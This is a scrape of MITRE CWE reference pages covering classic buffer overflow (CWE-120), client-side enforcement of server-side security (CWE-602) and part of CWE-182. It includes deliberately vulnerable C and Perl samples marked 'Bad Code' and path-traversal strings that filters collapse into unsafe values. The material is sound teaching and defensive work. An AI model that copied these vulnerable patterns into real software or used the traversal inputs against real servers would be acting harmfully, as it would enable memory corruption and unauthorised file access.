2014-07-30CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2011-03-29Access Control Bypass Through User-Controlled Key

CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Weakness ID: 120
Abstraction: Base
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The program copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.

Extended Description

A buffer overflow condition exists when a program attempts to put more data in a buffer than it can hold, or when a program attempts to put data in a memory area outside of the boundaries of a buffer. The simplest type of error, and the most common cause of buffer overflows, is the "classic" case in which the program copies the buffer without restricting how much is copied. Other variants exist, but the existence of a classic overflow strongly suggests that the programmer is not considering even the most basic of security protections.

+ Alternate Terms
buffer overrun:

Some prominent vendors and researchers use the term "buffer overrun," but most people use "buffer overflow."

Unbounded Transfer
+ Terminology Notes

Many issues that are now called "buffer overflows" are substantively different than the "classic" overflow, including entirely different bug types that rely on overflow exploit techniques, such as integer signedness errors, integer overflows, and format string bugs. This imprecise terminology can make it difficult to determine which variant is being reported.

+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

C

C++

Assembly

+ Common Consequences
ScopeEffect
Integrity
Confidentiality
Availability

Technical Impact: Execute unauthorized code or commands

Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. This can often be used to subvert any other security service.

Availability

Technical Impact: DoS: crash / exit / restart; DoS: resource consumption (CPU)

Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

+ Likelihood of Exploit

High to Very High

+ Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Effectiveness: High

Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Automated Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis

  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR High

Manual Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with automated results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Web Application Scanner

  • Web Services Scanner

  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with manual results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Fuzz Tester

  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Focused Manual Spotcheck - Focused manual analysis of source

  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Source code Weakness Analyzer

  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR High

Architecture / Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: SOAR High

+ Demonstrative Examples

Example 1

The following code asks the user to enter their last name and then attempts to store the value entered in the last_name array.

(Bad Code)
Example Language:
char last_name[20];
printf ("Enter your last name: ");
scanf ("%s", last_name);

The problem with the code above is that it does not restrict or limit the size of the name entered by the user. If the user enters "Very_very_long_last_name" which is 24 characters long, then a buffer overflow will occur since the array can only hold 20 characters total.

Example 2

The following code attempts to create a local copy of a buffer to perform some manipulations to the data.

(Bad Code)
Example Language:
void manipulate_string(char* string){
char buf[24];
strcpy(buf, string);
...
}

However, the programmer does not ensure that the size of the data pointed to by string will fit in the local buffer and blindly copies the data with the potentially dangerous strcpy() function. This may result in a buffer overflow condition if an attacker can influence the contents of the string parameter.

Example 3

The excerpt below calls the gets() function in C, which is inherently unsafe.

(Bad Code)
Example Language:
char buf[24];
printf("Please enter your name and press <Enter>\n");
gets(buf);
...
}

However, the programmer uses the function gets() which is inherently unsafe because it blindly copies all input from STDIN to the buffer without restricting how much is copied. This allows the user to provide a string that is larger than the buffer size, resulting in an overflow condition.

Example 4

In the following example, a server accepts connections from a client and processes the client request. After accepting a client connection, the program will obtain client information using the gethostbyaddr method, copy the hostname of the client that connected to a local variable and output the hostname of the client to a log file.

(Bad Code)
Example Languages: C and C++ 
...
struct hostent *clienthp;
char hostname[MAX_LEN];

// create server socket, bind to server address and listen on socket
...

// accept client connections and process requests
int count = 0;
for (count = 0; count < MAX_CONNECTIONS; count++) {

int clientlen = sizeof(struct sockaddr_in);
int clientsocket = accept(serversocket, (struct sockaddr *)&clientaddr, &clientlen);

if (clientsocket >= 0) {
clienthp = gethostbyaddr((char*) &clientaddr.sin_addr.s_addr, sizeof(clientaddr.sin_addr.s_addr), AF_INET);
strcpy(hostname, clienthp->h_name);
logOutput("Accepted client connection from host ", hostname);

// process client request
...
close(clientsocket);
}
}
close(serversocket);
...

However, the hostname of the client that connected may be longer than the allocated size for the local hostname variable. This will result in a buffer overflow when copying the client hostname to the local variable using the strcpy method.

+ Observed Examples
ReferenceDescription
buffer overflow using command with long argument
buffer overflow in local program using long environment variable
buffer overflow in comment characters, when product increments a counter for a ">" but does not decrement for "<"
By replacing a valid cookie value with an extremely long string of characters, an attacker may overflow the application's buffers.
By replacing a valid cookie value with an extremely long string of characters, an attacker may overflow the application's buffers.
+ Potential Mitigations

Phase: Requirements

Strategy: Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.

Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples include the Safe C String Library (SafeStr) by Messier and Viega [R.120.4], and the Strsafe.h library from Microsoft [R.120.3]. These libraries provide safer versions of overflow-prone string-handling functions.

This is not a complete solution, since many buffer overflows are not related to strings.

Phase: Build and Compilation

Strategy: Compilation or Build Hardening

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows.

For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

Effectiveness: Defense in Depth

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Consider adhering to the following rules when allocating and managing an application's memory:

  • Double check that your buffer is as large as you specify.

  • When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.

  • Check buffer boundaries if accessing the buffer in a loop and make sure you are not in danger of writing past the allocated space.

  • If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Operation

Strategy: Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [R.120.5] [R.120.7] and Position-Independent Executables (PIE) [R.120.14].

Effectiveness: Defense in Depth

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Operation

Strategy: Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [R.120.7] [R.120.9].

Effectiveness: Defense in Depth

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phases: Build and Compilation; Operation

Most mitigating technologies at the compiler or OS level to date address only a subset of buffer overflow problems and rarely provide complete protection against even that subset. It is good practice to implement strategies to increase the workload of an attacker, such as leaving the attacker to guess an unknown value that changes every program execution.

Phase: Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

Effectiveness: Moderate

This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.120.10]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
Primary
(where the weakness exists independent of other weaknesses)
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class20Improper Input Validation
Seven Pernicious Kingdoms (primary)700
ChildOfWeakness ClassWeakness Class119Improper Restriction of Operations within the Bounds of a Memory Buffer
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory633Weaknesses that Affect Memory
Resource-specific Weaknesses (primary)631
ChildOfCategoryCategory722OWASP Top Ten 2004 Category A1 - Unvalidated Input
Weaknesses in OWASP Top Ten (2004)711
ChildOfCategoryCategory726OWASP Top Ten 2004 Category A5 - Buffer Overflows
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory741CERT C Secure Coding Section 07 - Characters and Strings (STR)
Weaknesses Addressed by the CERT C Secure Coding Standard (primary)734
ChildOfCategoryCategory8022010 Top 25 - Risky Resource Management
Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)800
ChildOfCategoryCategory8652011 Top 25 - Risky Resource Management
Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors (primary)900
ChildOfCategoryCategory875CERT C++ Secure Coding Section 07 - Characters and Strings (STR)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory970SFP Secondary Cluster: Faulty Buffer Access
Software Fault Pattern (SFP) Clusters (primary)888
CanPrecedeWeakness BaseWeakness Base123Write-what-where Condition
Research Concepts1000
ParentOfWeakness VariantWeakness Variant785Use of Path Manipulation Function without Maximum-sized Buffer
Development Concepts (primary)699
Research Concepts1000
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
CanFollowWeakness BaseWeakness Base170Improper Null Termination
Research Concepts1000
CanFollowWeakness VariantWeakness Variant231Improper Handling of Extra Values
Research Concepts1000
CanFollowWeakness BaseWeakness Base242Use of Inherently Dangerous Function
Research Concepts1000
CanFollowWeakness BaseWeakness Base416Use After Free
Research Concepts1000
CanFollowWeakness BaseWeakness Base456Missing Initialization of a Variable
Research Concepts1000
CanAlsoBeWeakness VariantWeakness Variant196Unsigned to Signed Conversion Error
Research Concepts1000
+ Relationship Notes

At the code level, stack-based and heap-based overflows do not differ significantly, so there usually is not a need to distinguish them. From the attacker perspective, they can be quite different, since different techniques are required to exploit them.

+ Affected Resources
  • Memory
+ Functional Areas
  • Memory Management
+ Causal Nature

Explicit

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERUnbounded Transfer ('classic overflow')
7 Pernicious KingdomsBuffer Overflow
CLASPBuffer overflow
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
OWASP Top Ten 2004A5CWE More SpecificBuffer Overflows
CERT C Secure CodingSTR35-CDo not copy data from an unbounded source to a fixed-length array
WASC7Buffer Overflow
CERT C++ Secure CodingSTR35-CPPDo not copy data from an unbounded source to a fixed-length array
Software Fault PatternsSFP8Faulty Buffer Access
+ White Box Definitions

A weakness where the code path includes a Buffer Write Operation such that:

1. the expected size of the buffer is greater than the actual size of the buffer where expected size is equal to the sum of the size of the data item and the position in the buffer

Where Buffer Write Operation is a statement that writes a data item of a certain size into a buffer at a certain position and at a certain index

+ References
[R.120.1] [REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 5, "Public Enemy #1: The Buffer Overrun" Page 127. 2nd Edition. Microsoft. 2002.
[R.120.2] [REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.
[R.120.3] [REF-27] Microsoft. "Using the Strsafe.h Functions". <http://msdn.microsoft.com/en-us/library/ms647466.aspx>.
[R.120.4] [REF-26] Matt Messier and John Viega. "Safe C String Library v1.0.3". <http://www.zork.org/safestr/>.
[R.120.5] [REF-22] Michael Howard. "Address Space Layout Randomization in Windows Vista". <http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx>.
[R.120.6] Arjan van de Ven. "Limiting buffer overflows with ExecShield". <http://www.redhat.com/magazine/009jul05/features/execshield/>.
[R.120.7] [REF-29] "PaX". <http://en.wikipedia.org/wiki/PaX>.
[R.120.8] Jason Lam. "Top 25 Series - Rank 3 - Classic Buffer Overflow". SANS Software Security Institute. 2010-03-02. <http://software-security.sans.org/blog/2010/03/02/top-25-series-rank-3-classic-buffer-overflow/>.
[R.120.9] [REF-25] Microsoft. "Understanding DEP as a mitigation technology part 1". <http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx>.
[R.120.10] [REF-31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html>.
[R.120.11] [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "Nonexecutable Stack", Page 76.. 1st Edition. Addison Wesley. 2006.
[R.120.12] [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 5, "Protection Mechanisms", Page 189.. 1st Edition. Addison Wesley. 2006.
[R.120.13] [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "C String Handling", Page 388.. 1st Edition. Addison Wesley. 2006.
[R.120.14] [REF-37] Grant Murphy. "Position Independent Executables (PIE)". Red Hat. 2012-11-28. <https://securityblog.redhat.com/2012/11/28/position-independent-executables-pie/>.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-08-01KDM AnalyticsExternal
added/updated white box definitions
2008-08-15VeracodeExternal
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITREInternal
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Relationships, Observed_Example, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-10CWE Content TeamMITREInternal
Changed name and description to more clearly emphasize the "classic" nature of the overflow.
2008-10-14CWE Content TeamMITREInternal
updated Alternate_Terms, Description, Name, Other_Notes, Terminology_Notes
2008-11-24CWE Content TeamMITREInternal
updated Other_Notes, Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITREInternal
updated Common_Consequences, Other_Notes, Potential_Mitigations, References, Relationship_Notes, Relationships
2009-07-27CWE Content TeamMITREInternal
updated Other_Notes, Potential_Mitigations, Relationships
2009-10-29CWE Content TeamMITREInternal
updated Common_Consequences, Relationships
2010-02-16CWE Content TeamMITREInternal
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Potential_Mitigations, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings, Time_of_Introduction, Type
2010-04-05CWE Content TeamMITREInternal
updated Demonstrative_Examples, Related_Attack_Patterns
2010-06-21CWE Content TeamMITREInternal
updated Common_Consequences, Potential_Mitigations, References
2010-09-27CWE Content TeamMITREInternal
updated Potential_Mitigations
2010-12-13CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-03-29CWE Content TeamMITREInternal
updated Demonstrative_Examples, Description
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2011-06-27CWE Content TeamMITREInternal
updated Relationships
2011-09-13CWE Content TeamMITREInternal
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated References, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-02-18CWE Content TeamMITREInternal
updated Potential_Mitigations, References
2014-07-30CWE Content TeamMITREInternal
updated Detection_Factors, Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2008-10-14Unbounded Transfer ('Classic Buffer Overflow')

CWE-602: Client-Side Enforcement of Server-Side Security

Weakness ID: 602
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

The software is composed of a server that relies on the client to implement a mechanism that is intended to protect the server.

Extended Description

When the server relies on protection mechanisms placed on the client side, an attacker can modify the client-side behavior to bypass the protection mechanisms resulting in potentially unexpected interactions between the client and server. The consequences will vary, depending on what the mechanisms are trying to protect.

+ Time of Introduction
  • Architecture and Design
+ Applicable Platforms

Languages

All

Architectural Paradigms

Client-Server: (Sometimes)

+ Common Consequences
ScopeEffect
Access Control
Availability

Technical Impact: Bypass protection mechanism; DoS: crash / exit / restart

Client-side validation checks can be easily bypassed, allowing malformed or unexpected input to pass into the application, potentially as trusted data. This may lead to unexpected states, behaviors and possibly a resulting crash.

Access Control

Technical Impact: Bypass protection mechanism; Gain privileges / assume identity

Client-side checks for authentication can be easily bypassed, allowing clients to escalate their access levels and perform unintended actions.

+ Likelihood of Exploit

Medium

+ Enabling Factors for Exploitation

Consider a product that consists of two or more processes or nodes that must interact closely, such as a client/server model. If the product uses protection schemes in the client in order to defend from attacks against the server, and the server does not use the same schemes, then an attacker could modify the client in a way that bypasses those schemes. This is a fundamental design flaw that is primary to many weaknesses.

+ Demonstrative Examples

Example 1

This example contains client-side code that checks if the user authenticated successfully before sending a command. The server-side code performs the authentication in one step, and executes the command in a separate step.

CLIENT-SIDE (client.pl)

(Good Code)
Example Language: Perl 
$server = "server.example.com";
$username = AskForUserName();
$password = AskForPassword();
$address = AskForAddress();
$sock = OpenSocket($server, 1234);
writeSocket($sock, "AUTH $username $password\n");
$resp = readSocket($sock);
if ($resp eq "success") {
# username/pass is valid, go ahead and update the info!
writeSocket($sock, "CHANGE-ADDRESS $username $address\n";
}
else {
print "ERROR: Invalid Authentication!\n";
}

SERVER-SIDE (server.pl):

(Bad Code)
 
$sock = acceptSocket(1234);
($cmd, $args) = ParseClientRequest($sock);
if ($cmd eq "AUTH") {
($username, $pass) = split(/\s+/, $args, 2);
$result = AuthenticateUser($username, $pass);
writeSocket($sock, "$result\n");
# does not close the socket on failure; assumes the
# user will try again
}
elsif ($cmd eq "CHANGE-ADDRESS") {
if (validateAddress($args)) {
$res = UpdateDatabaseRecord($username, "address", $args);
writeSocket($sock, "SUCCESS\n");
}
else {
writeSocket($sock, "FAILURE -- address is malformed\n");
}
}

The server accepts 2 commands, "AUTH" which authenticates the user, and "CHANGE-ADDRESS" which updates the address field for the username. The client performs the authentication and only sends a CHANGE-ADDRESS for that user if the authentication succeeds. Because the client has already performed the authentication, the server assumes that the username in the CHANGE-ADDRESS is the same as the authenticated user. An attacker could modify the client by removing the code that sends the "AUTH" command and simply executing the CHANGE-ADDRESS.

+ Observed Examples
ReferenceDescription
ASP program allows upload of .asp files by bypassing client-side checks.
steganography products embed password information in the carrier file, which can be extracted from a modified client.
steganography products embed password information in the carrier file, which can be extracted from a modified client.
client allows server to modify client's configuration and overwrite arbitrary files.
+ Potential Mitigations

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Phase: Architecture and Design

If some degree of trust is required between the two entities, then use integrity checking and strong authentication to ensure that the inputs are coming from a trusted source. Design the product so that this trust is managed in a centralized fashion, especially if there are complex or numerous communication channels, in order to reduce the risks that the implementer will mistakenly omit a check in a single code path.

Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory254Security Features
Development Concepts (primary)699
ChildOfWeakness ClassWeakness Class669Incorrect Resource Transfer Between Spheres
Research Concepts (primary)1000
ChildOfWeakness ClassWeakness Class693Protection Mechanism Failure
Research Concepts1000
ChildOfCategoryCategory722OWASP Top Ten 2004 Category A1 - Unvalidated Input
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory7532009 Top 25 - Porous Defenses
Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)750
ChildOfCategoryCategory975SFP Secondary Cluster: Architecture
Software Fault Pattern (SFP) Clusters (primary)888
CanPrecedeWeakness BaseWeakness Base471Modification of Assumed-Immutable Data (MAID)
Research Concepts1000
PeerOfWeakness BaseWeakness Base290Authentication Bypass by Spoofing
Research Concepts1000
PeerOfWeakness ClassWeakness Class300Channel Accessible by Non-Endpoint ('Man-in-the-Middle')
Research Concepts1000
ParentOfWeakness BaseWeakness Base565Reliance on Cookies without Validation and Integrity Checking
Research Concepts1000
ParentOfWeakness BaseWeakness Base603Use of Client-Side Authentication
Research Concepts (primary)1000
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
PeerOfWeakness BaseWeakness Base836Use of Password Hash Instead of Password for Authentication
Research Concepts1000
+ Research Gaps

Server-side enforcement of client-side security is conceptually likely to occur, but some architectures might have these strong dependencies as part of legitimate behavior, such as thin clients.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
+ References
[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 23, "Client-Side Security Is an Oxymoron" Page 687. 2nd Edition. Microsoft. 2002.
+ Content History
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-01-12CWE Content TeamMITREInternal
updated Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, Relationships, Research_Gaps, Time_of_Introduction
2009-03-10CWE Content TeamMITREInternal
updated Potential_Mitigations
2009-05-27CWE Content TeamMITREInternal
updated Demonstrative_Examples
2009-07-27CWE Content TeamMITREInternal
updated Related_Attack_Patterns, Relationships
2009-10-29CWE Content TeamMITREInternal
updated Applicable_Platforms, Common_Consequences, Description
2010-02-16CWE Content TeamMITREInternal
updated References
2010-04-05CWE Content TeamMITREInternal
updated Related_Attack_Patterns
2010-12-13CWE Content TeamMITREInternal
updated Related_Attack_Patterns
2011-03-29CWE Content TeamMITREInternal
updated Relationships
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Relationships
2014-07-30CWE Content TeamMITREInternal
updated Relationships
2017-05-03CWE Content TeamMITREInternal
updated Related_Attack_Patterns
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Client-Side Enforcement of Server-Side Security
2009-01-12Design Principle Violation: Client-Side Enforcement of Server-Side Security

CWE-182: Collapse of Data into Unsafe Value

Weakness ID: 182
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

The software filters data in a way that causes it to be reduced or "collapsed" into an unsafe value that violates an expected security property.
+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

All

+ Common Consequences
ScopeEffect
Access Control

Technical Impact: Bypass protection mechanism

+ Observed Examples
ReferenceDescription
"/.////" in pathname collapses to absolute path.
"/.//..//////././" is collapsed into "/.././" after ".." and "//" sequences are removed.
".../...//" collapsed to "..." due to removal of "./" in web server.
chain: HTTP server protects against ".." but allows "." variants such as "////./../.../". If the server removes "/.." sequences, the result would collapse into an unsafe value "////../" (CWE-182).
MFV. Regular expression intended to protect against directory traversal reduces ".../...//" to "../".
XSS protection mechanism strips a <script> sequence that is nested in another <script> sequence.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Canonicalize the name to match that of the file system's representation of the name. This can sometimes be achieved with an available API (e.g. in Win32 the GetFullPathName function).

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory171Cleansing, Canonicalization, and Comparison Errors
Development Concepts (primary)699
ChildOfWeakness ClassWeakness Class693Protection Mechanism Failure
Research Concepts (primary)1000
ChildOfCategoryCategory722OWASP Top Ten 2004 Category A1 - Unvalidated Input
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory845CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)
Weaknesses Addressed by the CERT Java Secure Coding Standard (primary)844
ChildOfCategoryCategory992SFP Secondary Cluster: Faulty Input Transformation
Software Fault Pattern (SFP) Clusters (primary)888
CanPrecedeWeakness VariantWeakness Variant33Path Traversal: '....' (Multiple Dot)
Research Concepts1000
CanPrecedeWeakness VariantWeakness Variant34Path Traversal: '....//'
Research Concepts1000
CanPrecedeWeakness VariantWeakness Variant35Path Traversal: '.../...//'
Research Concepts1000
CanFollowWeakness ClassWeakness Class185Incorrect Regular Expression
Research Concepts1000
+ Relationship Notes

Overlaps regular expressions, although an implementation might not necessarily use regexp's.

+ Relevant Properties
  • Trustability
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
